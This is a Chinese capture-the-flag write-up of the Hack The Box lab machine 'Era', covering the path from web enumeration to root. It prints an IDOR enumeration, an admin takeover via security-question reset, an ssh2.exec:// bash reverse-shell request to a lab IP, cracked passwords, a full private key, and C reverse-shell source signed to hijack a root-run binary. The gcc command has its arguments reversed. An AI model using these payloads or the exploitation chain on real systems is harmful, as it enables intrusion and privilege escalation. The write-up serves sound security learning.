Era(纪元)

Pasted image 20250727093759

1. User

1.1. 信息收集

1.1.1. 端口扫描

┌──(root㉿kali)-[~]
└─# nmap 10.10.11.79 -p- --min-rate 10000
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-26 21:42 EDT
Warning: 10.10.11.79 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.79
Host is up (0.055s latency).
Not shown: 65399 closed tcp ports (reset), 134 filtered tcp ports (no-response)
PORT   STATE SERVICE
21/tcp open  ftp
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 20.94 seconds
                                                                                                    
┌──(root㉿kali)-[~]
└─# nmap 10.10.11.79 -p 21,80 -sCV       
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-26 21:43 EDT
Nmap scan report for 10.10.11.79
Host is up (0.056s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://era.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.75 seconds

1.1.2. 目录扫描

┌──(root㉿kali)-[~]
└─# dirsearch -u http://era.htb
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /root/reports/http_era.htb/_25-07-26_21-46-04.txt

Target: http://era.htb/

[21:46:04] Starting: 
[21:46:04] 301 -  178B  - /js  ->  http://era.htb/js/
[21:46:17] 301 -  178B  - /css  ->  http://era.htb/css/
[21:46:20] 301 -  178B  - /fonts  ->  http://era.htb/fonts/
[21:46:22] 301 -  178B  - /img  ->  http://era.htb/img/
[21:46:23] 403 -  564B  - /js/

Task Completed

这种情况多半换大字典也出不了什么好的结果,

查看网站首页,你会发现是一个是一个装修设计公司的门户,网站没有什么后台登录什么的,
Pasted image 20250727212652

1.1.3. Vhost爆破

┌──(root㉿kali)-[~]
└─# ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt  -u http://era.htb/ -H "Host: FUZZ.era.htb" -fs 154

        /'___\  /'___\           /''___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://era.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.era.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 154
________________________________________________

file                    [Status: 200, Size: 6765, Words: 2608, Lines: 234, Duration: 60ms]
:: Progress: [4989/4989] :: Job [1/1] :: 711 req/sec :: Duration: [0:00:07] :: Errors: 0 ::

有一个子域名 file.era.htb
Pasted image 20250727101956
发现是一个文件管理的平台,那可能是存在一个文件上传?

值得注意的是网站正下方有一个 login using security questions
即使用安全问题进行登录
Pasted image 20250727213114
这里我们可以尝试爆破用户?

我们对子域名网站进行目录扫描

┌──(root㉿kali)-[~/Desktop/htb/season8/Era]
└─# dirsearch -u file.era.htb -x 403 404
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /root/Desktop/htb/season8/Era/reports/_file.era.htb/_25-07-26_23-23-22.txt

Target: http://file.era.htb/

[23:23:23] Starting: 
[23:23:35] 301 -  178B  - /assets  ->  http://file.era.htb/assets/
[23:23:39] 302 -    0B  - /download.php  ->  login.php
[23:23:41] 301 -  178B  - /files  ->  http://file.era.htb/files/
[23:23:43] 301 -  178B  - /images  ->  http://file.era.htb/images/
[23:23:45] 200 -   34KB - /LICENSE
[23:23:45] 200 -    9KB - `/login.php`
[23:23:45] 200 -   70B  - /logout.php
[23:23:45] 302 -    0B  - /manage.php  ->  login.php
[23:23:52] 200 -    3KB - `/register.php`
[23:23:57] 302 -    0B  - /upload.php  ->  login.php

Task Completed

1.2. web

扫描完后发现有 /register.php/login.php
先去注册一个账号
Pasted image 20250727114927
然后登录
Pasted image 20250727114939

1.2.1. 文件上传

我们可以我成功上传了一个文件
Pasted image 20250727115503
然后,当我访问它给我的下载地址,
我会进入这个页面
Pasted image 20250727115548
点击可以下载你刚刚上传的文件,所以这里不会解析我们的文件,那么文件上传也就走不通了

1.2.2. IDOR

我注意到下载地址的参数有一个id,他很可能会是一个 20-网安/26-PHP代码审计/小迪24 代审/sql注入,也可能会有一个 IDOR 漏洞

我先尝试对他进行爆破、枚举出id 1-1w的网页
Pasted image 20250727115923
然后筛选响应长度
Pasted image 20250727120332

发现这4个id存在文件,7591 、3274这两个应该是玩家上传的,54 、150这两个应该是靶机上的

当你访问id54 和 id150后,你可以下载两个压缩包, 一个是网站备份压缩包、一个是签名压缩包
Pasted image 20250727120734

signing.zip  中包含有两个与基于证书的加密相关的关键文件

key.pem:私钥(PEM 格式)——用于签署证书或 JWT,或者启用 HTTPS
x509.genkey:OpenSSL 配置文件或密钥生成模板

我们有了这两个文件就可以生成 HTTPS 证书,进行加密通信,或为身份验证生成安全令牌(如 JWT)

1.2.3. sqlite

在网页备份文件夹中,你可以发现有一个 filedb.sqlite 数据库文件
使用navicat打开,可以获取到用户名和密码哈希
Pasted image 20250727135934

hashcat破解
Pasted image 20250727140014

这里可以获取到了两个用户的凭据

eric  america
yuri  mustang

1.2.4. Update Security Questions

经过测试,发现这两个用户都可以登录网站,但是发现他们拥有的权限和我自己注册的用户拥有的权限应该是一样的,

于是我将目表对准了管理员用户
从数据库中可以得出 管理员用户的账号是 admin_ef01cab31aa

我还注意到网站有一个 “重置我的安全问题”功能
Pasted image 20250727214355

点击去后,你可以输入你要重置的用户名和问题答案,似户这里没有验证原答案,所以我们可以重置任意用户的安全问题答案

我们重置 admin_ef01cab31aa 用户的安全问题
Pasted image 20250727214543
然后退出当前用户,选择使用安全问题进行登录,成功登录管理员用户后台

当时是管理员用户后,你可以看到别人上传的文件,点击文件后,你会跳转到对应的下载页面
Pasted image 20250727153511

1.2.5. ftp

似乎管理员后台也没有什么太多可以利用的地方。
我注意之前端口扫描 目标主机开放了FTP端口。
我可以尝试使用之前爆破出来的两个用户进行登录

┌──(root㉿kali)-[~/Desktop/htb/season8/Era]
└─# lftp 10.10.11.79 -u yuri        
Password:        
lftp yuri@10.10.11.79:~> ls -la                 
drwxr-xr-x    4 0        114          4096 Jul 22 08:42 .
drwxr-xr-x    4 0        114          4096 Jul 22 08:42 ..
drwxr-xr-x    2 0        0            4096 Jul 22 08:42 apache2_conf
drwxr-xr-x    3 0        0            4096 Jul 22 08:42 php8.1_conf

你可以使用上面的凭证登录到ftp服务器
yuri 用户对ftp服务器内的文件有读取权限,但是 eric 没有。

这里有两个文件夹,我们都可以下载下来

这里可以使用 lftp工具,他可以直接下载整个文件夹

1.2.6. 网站配置

apache2_conf 中,主要是一些关于apache的配置,都是一些很常规的内容

┌──(root㉿kali)-[~/Desktop/htb/season8/Era]
└─# tree apache2_conf 
apache2_conf
├── 000-default.conf
├── apache2.conf
├── file.conf
└── ports.conf

1 directory, 4 files

php8.1_conf 目录下放置着PHP 8.1 的某些配置文件和扩展模块

┌──(root㉿kali)-[~/Desktop/htb/season8/Era]
└─# tree php8.1_conf 
php8.1_conf
├── build
│   ├── ax_check_compile_flag.m4
│   ├── ax_gcc_func_attribute.m4
│   ├── gen_stub.php
│   ├── Makefile.global
│   ├── php_cxx_compile_stdcxx.m4
│   ├── phpize.m4
│   ├── php.m4
│   └── run-tests.php
├── calendar.so
├── ctype.so
├── dom.so
├── exif.so
├── ffi.so
├── fileinfo.so
├── ftp.so
├── gettext.so
├── iconv.so
├── opcache.so
├── pdo.so
├── pdo_sqlite.so
├── `phar.so` 
├── posix.so
├── readline.so
├── shmop.so
├── simplexml.so
├── sockets.so
├── sqlite3.so
├── `ssh2.so`
├── sysvmsg.so
├── sysvsem.so
├── sysvshm.so
├── tokenizer.so
├── xmlreader.so
├── xml.so
├── xmlwriter.so
├── xsl.so
└── zip.so

2 directories, 37 files

这些共享对象(*.so 文件)会通过 PHP 配置文件 php.ini 中的配置指令(如 extension)动态加载到 PHP 运行时环境中,我注意到这里面有些共享对象是很容易被利用的

比如:

Phar.so

  • 此共享对象可以用于 PHP反序列化 如:unserialize(file_get_contents('phar://...'))
  • 我们可以通过phar文件实现 LFI->RCE

ssh2.SO

1.2.7. 代码审计

由于目前一直没有突破,我将目标放到了网站备份文件当中

┌──(root㉿kali)-[~/Desktop/htb/season8/Era]
└─# tree site-backup 
site-backup
├── bg.jpg
├── css
│   ├── fontawesome-all.min.css
│   ├── images
│   │   └── overlay.png
│   ├── main.css
│   ├── main.css.save
│   └── noscript.css
├── download.php
├── `filedb.sqlite`
├── files
│   └── index.php
├── functions.global.php
├── index.php
├── initial_layout.php
├── layout_login.php
├── layout.php
├── LICENSE
├── login.php
├── logout.php
├── main.png
├── manage.php
├── register.php
├── reset.php
├── sass
│   ├── base
│   │   ├── _page.scss
│   │   ├── _reset.scss
│   │   └── _typography.scss
│   ├── components
│   │   ├── _actions.scss
│   │   ├── _button.scss
│   │   ├── _form.scss
│   │   ├── _icon.scss
│   │   ├── _icons.scss
│   │   └── _list.scss
│   ├── layout
│   │   ├── _footer.scss
│   │   ├── _main.scss
│   │   └── _wrapper.scss
│   ├── libs
│   │   ├── _breakpoints.scss
│   │   ├── _functions.scss
│   │   ├── _mixins.scss
│   │   ├── _vars.scss
│   │   └── _vendor.scss
│   ├── main.scss
│   └── noscript.scss
├── screen-download.png
├── screen-login.png
├── screen-main.png
├── screen-manage.png
├── screen-upload.png
├── security_login.php
├── upload.php
└── webfonts
    ├── fa-brands-400.eot
    ├── fa-brands-400.svg
    ├── fa-brands-400.ttf
    ├── fa-brands-400.woff
    ├── fa-brands-400.woff2
    ├── fa-regular-400.eot
    ├── fa-regular-400.svg
    ├── fa-regular-400.ttf
    ├── fa-regular-400.woff
    ├── fa-regular-400.woff2
    ├── fa-solid-900.eot
    ├── fa-solid-900.svg
    ├── fa-solid-900.ttf
    ├── fa-solid-900.woff
    └── fa-solid-900.woff2

10 directories, 62 files

里面可以看到一些网站的源码,但是没有数据库的密码什么的

我尝试搜索关键词,如是否有反序列化操作,也许我们可以利用phar.so进行利用

┌──(root㉿kali)-[~/Desktop/htb/season8/Era]
└─# grep -r 'unserialize' site-backup 

但是没有找到相关的利用,然后继续分析,你可以在 upload.php 中的一个else分支处发现关键代码
Pasted image 20250728000754

  • 首先这个功能只对管理员有用,他使用了 $_SESSION['erauser'] === 1 来匹配当前的会话变量是否为1(管理员用户)
  • 然后我们可以控制 $wrapper 变量,只要我们传入的 format 变量中的值含有关键字 ://,然后会设置响应头为二进制流(用于下载)这里存在一个任意协议文件读取 (APFR) 漏洞

由于 我们在php的文件夹里面发现有 ssh2.so ,那么他很可能开启了ssh2拓展,我们可以构建一个ssh2拓展的payload,使用 ssh2.exec:// 包装器进行rce

SSH2协议利用参考:PHP: ssh2:// - Manual

1.2.8. ssh2.exec:// SSRF->RCE

我们利用 ssh2.exec:// 包装器构造一个反弹shell的payload

ssh2.exec://yuri: mustang@127.0.0.1 :22/bash -c "bash -i >& /dev/tcp/10.10.14.12/4321 0>&1";

Pasted image 20250728004427

GET /download.php?id=54&show=true&format={{urlenc(ssh2.exec://yuri:mustang@127.0.0.1:22/bash -c "bash -i >& /dev/tcp/10.10.14.12/4321 0>&1";)}} HTTP/1.1
Host: file.era.htb
Referer: http://file.era.htb/manage.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cookie: PHPSESSID=v0msrfv4rk1vm4bgld1aiispil

注意要对payload进行url编码才行

Pasted image 20250728004707
然后你就可以获取到一个user shell

2. root

2.1. 信息收集

当你有了一个user shell 后,你就可以开始进行提权操作了,首先,你可以先进行一些常见的提权检测,如查看 sudo -l 之类的,

2.1.1. users

查看Home有两个用户

yuri@era:/home$ ls
eric  yuri

yuri目录下没有user.txt

切换到 eric 用户,可以获取到 user.txt

2.1.2. linpeas

然后我发现常见的点没有存在可以利用的,我使用linpeas来帮我快速收集其他信息

╔══════════╣ Unexpected in /opt (usually empty)
total 12
drwxrwxr-x  3 root root 4096 Jul 22 08:42 .
drwxr-xr-x 20 root root 4096 Jul 22 08:41 ..
drwxrwxr--  3 root devs 4096 Jul 22 08:42 AV

╔══════════╣ Modified interesting files in the last 5mins (limit 100)
/opt/AV/periodic-checks/status.log

╔══════════╣ Readable files belonging to root and readable by me but not world readable
-rw-r----- 1 root eric 33 Jul 27 15:55 /home/eric/user.txt
-rw-rw---- 1 root devs 453 Jul 28 01:10 /opt/AV/periodic-checks/status.log

╔══════════╣ Binary processes permissions (non 'root root' and not belonging to current user)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes
-rwxrwxr-x 1 root devs  915128 Jul 27 18:11 /opt/AV/periodic-checks/monitor

Pasted image 20250728093822

我们可以发现, monitor 是一个 root用户所有的二进制文件,但它和 status.log 都是由 devs 组写入的,而 且我们当前用户 eric 也是是该组的成员之一,这显然是权限提升的线索

我猜测这里有一个root的定时任务会定时运行 monitor,然后我们只需要 monitor 中插入我们的恶意载荷即可

2.1.3. pspy64

使用pspy64进行观察,可以发现有一个 /root/initate_monitoring.sh 定时脚本,他会定时运行 /opt/AV/periodic-checks/monitor 这个二进制文件
Pasted image 20250727162425
此外,他还会把运行的日志记录到 status.log
Pasted image 20250728095845
这证明了我们进行二进制文件劫持的可行性

2.1.4. 签名

但是,只是替换掉 monitor 是不够的, 因为它受到了 签名验证机制的保护

比如我们可以尝试替换为一个没有签名验证的monitor

#(remote) eric@era:/tmp$ echo '/bin/bash chmod +s /bin/bash' >monitor
#(remote) eric@era:/tmp$ cat monitor 
/bin/bash chmod +s /bin/bash
#(remote) eric@era:/tmp$ chmod +x monitor 
#(remote) eric@era:/tmp$ mv /opt/AV/periodic-checks/monitor /opt/AV/periodic-checks/monitor.bak
#(remote) eric@era:/tmp$ mv monitor /opt/AV/periodic-checks/monitor

Pasted image 20250728100234
报错了 显示 Executable not signed 还有 file format not recognized
说明:

  • 会验证文件的格式是否是ELF文件
  • 验证二进制文件是否含有加密签名

需要注意的是,签名应该位于 ELF 文件内部 ,而不是外部的 .sig 或 .pem 文件。我们可以通过检查自定义 ELF 部分来确认这一点

#(remote) eric@era:/opt/AV/periodic-checks$ readelf -S /opt/AV/periodic-checks/monitor.bak | grep -i sig
  [28] .text_sig         PROGBITS         0000000000000000  00003040

ELF 二进制文件包含一个名为 .text_sig 的自定义段 。当系统通过扫描逻辑(例如 initiate_monitoring.sh )运行 monitor 二进制文件时,它会按照指示通过 objcopy 提取此 .text_sig 段 ,并将其与二进制文件的实际 .text 段进行验证

#(remote) eric@era:/opt/AV/periodic-checks$ objdump -s -j .text_sig monitor

monitor:     file format elf64-x86-64

Contents of section .text_sig:
 0000 308201c6 06092a86 4886f70d 010702a0  0.....*.H.......
 0010 8201b730 8201b302 0101310d 300b0609  ...0......1.0...
 0020 60864801 65030402 01300b06 092a8648  `.H.e....0...*.H
 0030 86f70d01 07013182 01903082 018c0201  ......1...0.....
 0040 01306730 4f311130 0f060355 040a0c08  .0g0O1.0...U....
 0050 45726120 496e632e 31193017 06035504  Era Inc.1.0...U.
 0060 030c1045 4c462076 65726966 69636174  ...ELF verificat
 0070 696f6e31 1f301d06 092a8648 86f70d01  ion1.0...*.H....
 0080 09011610 79757269 76696368 40657261  ....yurivich@era
 0090 2e636f6d 02146d63 4aa981e1 93a1e448  .com..mcJ......H
 00a0 c5205ff7 9b84e6b6 f50b300b 06096086  . _.......0...`.
 00b0 48016503 04020130 0d06092a 864886f7  H.e....0...*.H..
 00c0 0d010101 05000482 01006a8d 5090e77a  ..........j.P..z
 00d0 a22431d3 e629241a c7eec906 dce87592  .$1..)$.......u.
 00e0 c90733b8 5ea5c466 db04a35a 28648853  ..3.^..f...Z(d.S
 00f0 00f2775c fbe983ae 833d2c36 7030985a  ..w\.....=,6p0.Z
 0100 b5d9ae28 cfbf75db 8e402955 c9bef8d3  ...(..u..@)U....
 0110 058e6ee1 1eb435bb 30a3056d b85074bc  ..n...5.0..m.Pt.
 0120 4e15fc44 0a57e3f6 2f4b5ecd 0e6b222d  N..D.W../K^..k"-
 0130 c4039189 2c7ded05 fe45a3e9 c00f0610  ....,}...E......
 0140 f8a653ab f72571aa cbf2ff38 238658d0  ..S..%q....8#.X.
 0150 8dcfba33 1c6d2092 8c01c77d 4e49ea94  ...3.m ....}NI..
 0160 670c9de9 42779e09 67143d81 49209fc1  g...Bw..g.=.I ..
 0170 24005880 04c7cebf d398ec6d 55b50333  $.X........mU..3
 0180 db46f2ab 74e6aa24 e9dc76d2 c9c4183b  .F..t..$..v....;
 0190 991bc0f4 762b1c09 1d82317c aab31e88  ....v+....1|....
 01a0 dfc04871 2bb9ac8a 0dbb6cd7 cd6bdcaa  ..Hq+.....l..k..
 01b0 c96c2afe faa17944 ebdd7a6e 6f2e91da  .l*...yD..zno...
 01c0 5e41e0e6 5ddeec93 47ee               ^A..]...G.

输出中显示典型的 ASN.1 DER 编码结构 ,包括如下字段:

  • Era Inc. (发行人)
  • ELF verification (CN)
  • yurivich@era.com (电子邮件)
  • 一段长 RSA 签名 blob

这可以说明,系统会通过提取 .text_sig 并验证其完整性来校验二进制文件。
任何未签名或被篡改的二进制文件都将被拒接掉

2.1.5. Openssl 设置 x509.genkey

我们之前有获取到一个 signning.zip
Pasted image 20250728212954

其中的 x509.genkey 是用于自签名 X.509 证书的 OpenSSL 的配置文件,你会发现其内容与 .text_sig 中的元数据匹配

[ req ]
default_bits = 2048
distinguished_name = req_distinguished_name
prompt = no
string_mask = utf8only
x509_extensions = myexts

[ req_distinguished_name ]
O = Era Inc.
CN = ELF verification
emailAddress = yurivich@era.com

[ myexts ]
basicConstraints=critical,CA:FALSE
keyUsage=digitalSignature
subjectKeyIdentifier=hash
authorityKeyIdentifier=keyid

这与我们在 .text_sig 段中查看到的一致

[ myexts ] 部分中 CA:FALSE 说明它仅用于数字签名 , 不能用于签发其他证书,不能作为信任链中的中间或根 CA

2.1.6. 私钥

┌──(root㉿kali)-[~/Desktop/htb/season8/Era]
└─# file key.pem
key.pem: OpenSSH private key (no password)

验证私钥的有效性,以确保可以进行签名操作

┌──(root㉿kali)-[~/Desktop/htb/season8/Era]
└─# openssl rsa -in key.pem -check
`RSA key ok`
writing RSA key
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCqKH30+RZjkxiV
JMnuB6b1dDbWUaw3p2QyQvWMbFvsi7zG1kE2LBrKjsEyvcxo8m0wL9feuFiOlciD
MamELMAW0UjMyew01+S+bAEcOawH81bVahxNkA4hHi9d/rysTe/dnNkh08KgHhzF
mTApjbV0MQwUDOLXSw9eHd+1VJClwhwAsL4xdk4pQS6dAuJEnx3IzNoQ23f+dPqT
CMAAWST67VPZjSjwW1/HHNi12ePewEJRGB+2K+YeGj+lxShW/I1jYEHnsOrliM2h
ZvOLqS9LjhqfI9+Q1RxIQF69yAEUeN4lYupa0Ghr2h96YLRE5YyXaBxdSA4gLGOV
HZgMl2i/AgMBAAECggEALCO53NjamnT3bQTwjtsUT9rYOMtR8dPt1W3yNX2McPWk
wC2nF+7j+kSC0G9UvaqZcWUPyfonGsG3FHVHBH75S1H54QnGSMTyVQU+WnyJaDyS
+2R9uA8U4zlpzye7+LR08xdzaed9Nrzo+Mcuq7DTb7Mjb3YSSAf0EhWMyQSJSz38
nKOcQBQhwdmiZMnVQp7X4XE73+2Wft9NSeedzCpYRZHrI820O+4MeQrumfVijbL2
xx3o0pnvEnXiqbxJjYQS8gjSUAFCc5A0fHMGmVpvL+u7Sv40mj/rnGvDEAnaNf+j
SlC9KdF5z9gWAPii7JQtTzWzxDinUxNUhlJ00df29QKBgQDsAkzNjHAHNKVexJ4q
4CREawOfdB/Pe0lm3dNf5UlEbgNWVKExgN/dEhTLVYgpVXJiZJhKPGMhSnhZ/0oW
gSAvYcpPsuvZ/WN7lseTsH6jbRyVgd8mCF4JiCw3gusoBfCtp9spy8Vjs0mcWHRW
PRY8QbMG/SUCnUS0KuT1ikiIYwKBgQC4kkKlyVy2+Z3/zMPTCla/IV6/EiLidSdn
RHfDx8l67Dc03thgAaKFUYMVpwia3/UXQS9TPj9Ay+DDkkXsnx8m1pMxV0wtkrec
pVrSB9QvmdLYuuonmG8nlgHs4bfl/JO/+Y7lz/Um1qM7aoZyPFEeZTeh6qM2s+7K
kBnSvng29QKBgQCszhpSPswgWonjU+/D0Q59EiY68JoCH3FlYnLMumPlOPA0nA7S
4lwH0J9tKpliOnBgXuurH4At9gsdSnGC/NUGHII3zPgoSwI2kfZby1VOcCwHxGoR
vPqt3AkUNEXerkrFvCwa9Fr5X2M8mP/FzUCkqi5dpakduu19RhMTPkdRpQKBgQCJ
tU6WpUtQlaNF1IASuHcKeZpYUu7GKYSxrsrwvuJbnVx/TPkBgJbCg5ObFxn7e7dA
l3j40cudy7+yCzOynPJAJv6BZNHIetwVuuWtKPwuW8WNwL+ttTTRw0FCfRKZPL78
D/WHD4aoaKI3VX5kQw5+8CP24brOuKckaSlrLINC9QKBgDs90fIyrlg6YGB4r6Ey
4vXtVImpvnjfcNvAmgDwuY/zzLZv8Y5DJWTe8uxpiPcopa1oC6V7BzvIls+CC7VC
hc7aWcAJeTlk3hBHj7tpcfwNwk1zgcr1vuytFw64x2nq5odIS+80ThZTcGedTuj1
qKTzxN/SefLdu9+8MXlVZBWj
-----END PRIVATE KEY-----

那我们就可以使用这个私钥进行加密并保留elf文件中的 .text_sig 格式,然后服务器会对我们的数字签名进行校验。

2.2. 签名

现在我们开始劫持 monitor 二进制文件

首先我们需要对我们的恶意二进制elf文件进行签名。

但是Linux的 ELF二进制文件默认是不包含 .text_sig 段的。所以这个签名部分我们必须要在编译后添加,因为 只有在二进制最终定型后(代码不再变),签名才有意义。
如果在编译时就签名,那代码内容还会变,签名也要不断更新

如果你去谷歌搜索关键词 .text_sigelf 你就找到一个工具 linux-elf-binary-signer ,这个工具可以帮我对ELF二进制文件进行签名。 并将加密签名附加到名为 .text_sig 的新 ELF 段中,以验证二进制文件 .text 段的完整性

接下来就很简单了,我们静态编译一个恶意elf文件,然后签名再替换即可

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>

int main() {
    int sockfd;
    struct sockaddr_in sa;

    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    sa.sin_family = AF_INET;
    sa.sin_port = htons($PORT);  // Replace with your port
    sa.sin_addr.s_addr = inet_addr("$IP");  // Replace with your IP

    connect(sockfd, (struct sockaddr *)&sa, sizeof(sa));
    dup2(sockfd, 0); dup2(sockfd, 1); dup2(sockfd, 2);
    execl("/bin/sh", "sh", NULL);

    return 0;
}

静态编译

┌──(root㉿kali)-[~/…/htb/season8/Era/linux-elf-binary-signer]
└─# gcc -static -o exp.c exp

然后使用私钥进行签名

┌──(root㉿kali)-[~/…/htb/season8/Era/linux-elf-binary-signer]
└─# ./elf-sign sha256 key.pem key.pem exp monitor
 --- 64-bit ELF file, version 1 (CURRENT), little endian.
 --- 26 sections detected.
 --- Section 0006 [.text] detected.
 --- Length of section [.text]: 485130
 --- Signature size of [.text]: 458
 --- Writing signature to file: .text_sig
 --- Removing temporary signature file: .text_sig

Pasted image 20250728223129

然后替换掉原来的 monitor 二进制文件

然后等待即可
Pasted image 20250728224645